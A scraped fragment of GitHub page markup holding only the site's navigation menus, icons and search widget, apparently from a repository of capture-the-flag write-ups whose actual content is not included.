<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="437949506" data-scoped-search-url="/GonTanaka/CTF-Writeups/search" data-owner-scoped-search-url="/users/GonTanaka/search" data-unscoped-search-url="/search" data-turbo="false" action="/GonTanaka/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="FLyuIHut2X4Gqyhkpa7M4HNBQwitR4J983PCayUD9NzyjVyhjsmCePKoKl2qSnNeujnCWbWxqHEXOg0ppXMDWQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 